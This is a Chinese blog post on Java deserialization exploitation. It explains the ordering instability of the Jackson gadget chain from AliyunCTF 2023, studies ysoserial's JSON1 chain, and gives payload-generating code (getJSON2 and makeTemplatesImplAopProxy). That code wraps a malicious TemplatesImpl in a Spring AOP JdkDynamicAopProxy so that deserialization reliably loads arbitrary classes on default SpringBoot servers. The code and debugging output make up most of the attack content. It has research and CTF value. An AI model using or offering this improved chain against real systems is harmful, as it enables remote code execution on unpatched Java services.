从JSON1链中学习处理JACKSON链的不稳定性3

简介

今天四月份的 AliyunCTF 2023 中公开了一条只依赖于 Jackson 这个 JSON 序列化库的原生反序列化利用链【1】。这条 JACKSON 链可以直接在无任何额外依赖的 SpringBoot 环境下使用,十分方便。但是,由于Jackson 获取类属性顺序的不稳定性,导致有时 JACKSON 链在触发 getOutputProperties 方法之前就报错了。本文参考著名反序列化利用工具 ysoserial【2】 中的 JSON1 链,在新添加一个 Spring AOP 依赖的基础上,对 JACKSON 链进行改进,使得 JACKSON 链在 SpringBoot 环境下可以稳定触发 getOutputProperties 方法。

关于 JACKSON 链

首先给出一段构造 JACKSON 链的(伪)代码,详细代码可以参考 AliyunCTF 2023 的 writeup【1】.

public static byte\[\] getJSON1(String cmd) throws Exception {

// step 1

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");

CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");

ctClass.removeMethod(writeReplace);

ctClass.toClass();

// step 2

POJONode node = new POJONode(makeTemplatesImpl(cmd));

// step 3

BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

复制代码
    return serialize(val);
}

代码主要分三段,第一段是在 com.fasterxml.jackson.databind.node.BaseJsonNode 被类加载器加载前,使用 javassist 工具删除它的 writeReplace 方法。

第二段是构造一个 TemplatesImpl 类型的对象,然后用其构造一个 POJONode 类型的对象。

第三段是将这个 POJONode 类型的对象设置为 BadAttributeValueExpException 类型的对象的 val 字段的值,之后反序列化时触发 POJONode 类型的对象的 toString 方法。

JACKSON 链的原理是 POJONode 类型的对象的 toString 方法会触发用来构造 POJONode 类型的对象的 TemplatesImpl 类型的对象的所有 getter 方法,最终触发 TemplatesImpl#getOutputProperties ,导致任意类加载。

JACKSON 链的不稳定性

有时在使用 JACKSON 链时,我们会遇到如下报错:

Caused by: java.lang.NullPointerException

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)

at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)

at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)

at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)

at java.lang.reflect.Method.invoke(Method.java:483)

at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)

at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)

... 74 more

JACKSON 链触发过程中,在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 中获取了之前找到的 props,且循环触发其 getter。

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)

throws IOException

{

final BeanPropertyWriter\[\] props;

if (_filteredProps != null && provider.getActiveView() != null) {

props = _filteredProps;

} else {

props = _props;

}

int i = 0;

try {

for (final int len = props.length; i < len; ++i) {

BeanPropertyWriter prop = propsi;

if (prop != null) { // can have nulls in filtered list

prop.serializeAsField(bean, gen, provider);

}

}

if (_anyGetterWriter != null) {

_anyGetterWriter.getAndSerialize(bean, gen, provider);

}

} catch (Exception e) {

String name = (i == props.length) ? "anySetter" : propsi.getName();

wrapAndThrow(provider, e, bean, name);

} catch (StackOverflowError e) {

...

}

}

我使用 SpringBoot 2.7.5 搭建了一个测试项目,JDK 版本为 openjdk 1.8.20。

java version "1.8.0_20"

Java™ SE Runtime Environment (build 1.8.0_20-b26)

Java HotSpot™ 64-Bit Server VM (build 25.20-b23, mixed mode)

我们在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 打上断点进行调试。

反序列化 JACKSON 链,断点断下。

通过调试可以看到 BeanSerializerBase#serializeFields 获取的三个 props 按顺序如下:

transletindex

stylesheetDOM

outputProperties

此时 stylesheetDOM 在 outputProperties 之前,所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败。

不过此处获取的顺序会有一定的不稳定性,有时 outputProperties 会在 stylesheetDOM 之前,这个时候反序列化攻击可以成功。

关于 JSON1 链

其实利用 JSON 序列化库触发所有 getter 方法并不鲜见。ysoserial【2】 中的 JSON1 链就利用了 net.sf.json-lib 这个 JSON 序列化库来触发 getOutputProperties 方法。

我们截取它的调用链研究一下:

/**

*

  • A bit more convoluted example
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
  • java.lang.reflect.Method.invoke(Object, Object...)
  • org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object\[\])
  • org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object\[\])
  • $Proxy0.getOutputProperties()
  • java.lang.reflect.Method.invoke(Object, Object...)
  • org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object\[\])
  • org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
  • org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
  • org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
  • org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
  • net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
  • net.sf.json.JSONObject._fromBean(Object, JsonConfig)
  • net.sf.json.JSONObject.fromObject(Object, JsonConfig)
  • net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
  • net.sf.json.JSONObject._processValue(Object, JsonConfig)
  • net.sf.json.JSONObject.processValue(Object, JsonConfig)
  • net.sf.json.JSONObject.containsValue(Object, JsonConfig)
  • net.sf.json.JSONObject.containsValue(Object)
  • javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
  • javax.management.openmbean.TabularDataSupport.equals(Object)
  • java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
  • java.util.HashMap<K,V>.readObject(ObjectInputStream)
  • @author mbechler

*/

从下往上看,可以看到最先有一段调用,从 java.util.HashMap#readObject 触发 net.sf.json.JSONObject#containsValue. 然后 net.sf.json.JSONObject#defaultBeanProcessing 尝试触发它包裹的对象的所有 getter 方法。这里用到了 commons-beanutils 这个库获取 getter 方法,然后反射触发。

按照 JACKSON 链的逻辑,这里可以,直接包裹一个 TemplatesImpl 类型的对象,然后触发其 getOutputProperties 方法。

但是这里 JSON1 链没有让 JSONObject 直接包裹一个 TemplatesImpl 类型的对象,而是包裹了一个代理类的对象 cdsProxy

Object payload = Gadgets.createTemplatesImpl(command);

Class\[\] ifaces = new Class\[\]{Templates.class};

// we need to make payload implement composite data

// it's very likely that there are other proxy impls that could be used

AdvisedSupport as = new AdvisedSupport();

as.setTarget(payload);

InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);

InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));

InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");

((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);

Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);

final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

JSONObject jo = new JSONObject();

Map m = new HashMap();

m.put("t", cdsProxy);

代理类的性质主要由其 handler 决定,我们研究一下这里用到的的 handler,也就是 org.springframework.aop.framework.JdkDynamicAopProxy 类

/**

* Implementation of {@code InvocationHandler.invoke}.

*

Callers will see exactly the exception thrown by the target,

* unless a hook method throws an exception.

*/

@Override

@Nullable

public Object invoke(Object proxy, Method method, Object\[\] args) throws Throwable {

Object oldProxy = null;

boolean setProxyContext = false;

复制代码
    TargetSource targetSource = this.advised.targetSource;
    Object target = null;

    try {
  ...
        // Get as late as possible to minimize the time we "own" the target,
        // in case it comes from a pool.
        target = targetSource.getTarget();
        Class<?> targetClass = (target != null ? target.getClass() : null);

        // Get the interception chain for this method.
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

        // Check whether we have any advice. If we don't, we can fall back on direct
        // reflective invocation of the target, and avoid creating a MethodInvocation.
        if (chain.isEmpty()) {
            // We can skip creating a MethodInvocation: just invoke the target directly
            // Note that the final invoker must be an InvokerInterceptor so we know it does
            // nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
            Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
            retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
        }
        else {
            ...
        }
        ...
        }
        return retVal;
    }
    finally {
        ...
    }
}

代码很长,简单概括一下,JdkDynamicAopProxy 类的 advised 成员是一个 org.springframework.aop.framework.AdvisedSupport 类型的对象,它的 targetSource 成员中保存了 JdkDynamicAopProxy 类代理的接口的实现类。

当代理类上的一个接口方法被调用时,这个 handler 就会尝试调用 targetSource 成员保存的实现类对象所实现的对应方法。

所以这里 JSON1 链是先使用 commons-beanutils 这个库获取代理类所有的 getter 方法,然后调用代理类的 getter 方法,触发 JdkDynamicAopProxy 类的 invoke 方法。

同时应该注意到,当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。

我们的目的应该是让代理类仅仅包含我们需要的方法 getOutputProperties。

查看 TemplatesImpl 实现的 javax.xml.transform.Templates 这个接口。

可以看到它只有一个 getter 方法,就是我们需要的 getOutputProperties 方法。

public interface Templates {

复制代码
Transformer newTransformer() throws TransformerConfigurationException;

Properties getOutputProperties();

}

所以这里提取出 JSON1 链解决 JSON 序列化库类型依赖触发 getter 不稳定问题的思路如下:

构造一个 JdkDynamicAopProxy 类型的对象,将 TemplatesImpl 类型的对象设置为 targetSource

使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 javax.xml.transform.Templates 接口

JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getOutputProperties 方法

通过代理类的 invoke 机制,触发 TemplatesImpl#getOutputProperties 方法,实现恶意类加载

这需要添加一个 Spring AOP 的依赖,但是在 SpringBoot 环境下默认是存在这个依赖的。

JACKSON 链的修改

生成修改过的 JACKSON 链,代码如下:

public static byte\[\] getJSON2(String cmd) throws Exception {

// step 1

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");

CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");

ctClass.removeMethod(writeReplace);

ctClass.toClass();

// step 2

POJONode node = new POJONode(makeTemplatesImplAopProxy(cmd));

// step 3

BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

复制代码
    return serialize(val);
}

public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(makeTemplatesImpl(cmd));
    Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
    Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
    return proxy;
}

还是在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 打下断点。

反序列化修改过的 JACKSON 链,通过调试可以看到只获取了一个 props:

outputProperties

此时 getOutputProperties 可以被稳定触发,解决了 JACKSON 链不稳定的问题。

总结

本文学习了 JSON1 链,使用 Spring AOP 中的 JdkDynamicAopProxy 作为 gadget,修改 JACKSON 链,将以随机顺序触发 TemplatesImpl 上的所有 getter , 转换成了只触发 getOutputProperties ,避免了 JACKSON 链的不稳定性,同时, JACKSON 链依然可以在 SpringBoot 环境下直接使用。

参考文章

1 https://xz.aliyun.com/t/12485

2 https://github.com/frohoff/ysoserial

相关推荐
东莞市云毅网络有限公司几秒前
企业非结构化资料拆分成可引用片段:一套能跑通的预处理流水线
python·数据清洗·rag·企业知识库·文档解析
淼澄研学几秒前
Sonos空间音频技术解析与Python本地API控制实操
开发语言·python·音视频
basketball6161 分钟前
AI Infra 推理部署技术总结:2. vLLM 内核——PagedAttention 与调度器原理
android·人工智能·vllm·ai infra
2601_966377136 分钟前
运营商密评密改落地实践:透明加密解决密码应用合规与安全痛点
数据库·安全·oracle
研☆香7 分钟前
js中使用的正则表达式
开发语言·javascript·正则表达式
szarron7 分钟前
国产手持式频谱分析仪选型攻略:TFN RC系列 vs HTOOL SA8T频谱分析仪 专业参数对比(军工/路测/调试全覆盖)
开发语言·前端·状态模式
我是唐青枫8 分钟前
C#.NET StructureMap 从依赖注入到项目实战
开发语言·c#·.net
伯恩bourne11 分钟前
Qdrant 快速入门 :数据模型介绍
服务器·数据库·人工智能
Beyond_System|系统之外11 分钟前
一个网页如何同时适配投影仪、1366×768 和 1920×1080?我重新理解了“自适应布局”
开发语言·css·html
Rain的Java大神之路16 分钟前
手写一个Spring容器
java·后端·mysql·spring·面试